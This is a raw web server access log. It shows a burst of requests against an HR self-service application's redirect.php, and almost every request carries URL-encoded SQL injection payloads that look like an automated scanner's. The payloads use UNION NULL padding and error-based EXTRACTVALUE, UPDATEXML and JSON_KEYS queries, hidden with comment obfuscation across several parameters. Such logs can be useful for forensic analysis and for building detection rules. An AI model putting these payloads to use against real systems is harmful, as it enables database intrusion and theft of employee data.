100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f546978%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x586b7963%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeOOB%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f546978%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x586b7963%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeOOB%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b456c77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6c677a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FlHmH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b456c77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6c677a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FlHmH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x486c4454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54304931%29%29--%2F%2A%2A%2FuVPH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x486c4454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54304931%29%29--%2F%2A%2A%2FuVPH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46695a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48616f67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64493544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4978764e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fri3O%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64493544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4978764e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fri3O%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63314d70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a6a72%29%29--%2F%2A%2A%2Fc4un&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63314d70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a6a72%29%29--%2F%2A%2A%2Fc4un&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54345a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52567a61%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fzg4X%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54345a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52567a61%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fzg4X%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x41783038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62583059%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fjb57%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x41783038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62583059%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fjb57%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34686b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3443735a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34686b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3443735a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b696335%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79473234%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2ubR%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b696335%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79473234%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2ubR%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x516e6164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45436a54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fbtnk%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x516e6164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45436a54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fbtnk%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b456c77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6c677a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FlHmH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5a544467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43323359%29%2C5431%29--%2F%2A%2A%2Fpt0g&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x5a544467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43323359%29%2C5431%29--%2F%2A%2A%2Fpt0g&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68464d50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39325644%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FSiDQ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68464d50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39325644%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FSiDQ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x486c4454%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54304931%29%29--%2F%2A%2A%2FuVPH&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35754851%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71504b6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyFTl%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35754851%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71504b6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyFTl%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50745453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5270304a%29%2C5431%29--%2F%2A%2A%2FGoQ9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x50745453%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5270304a%29%2C5431%29--%2F%2A%2A%2FGoQ9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5335784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x536c6d47%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F0Q6B%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
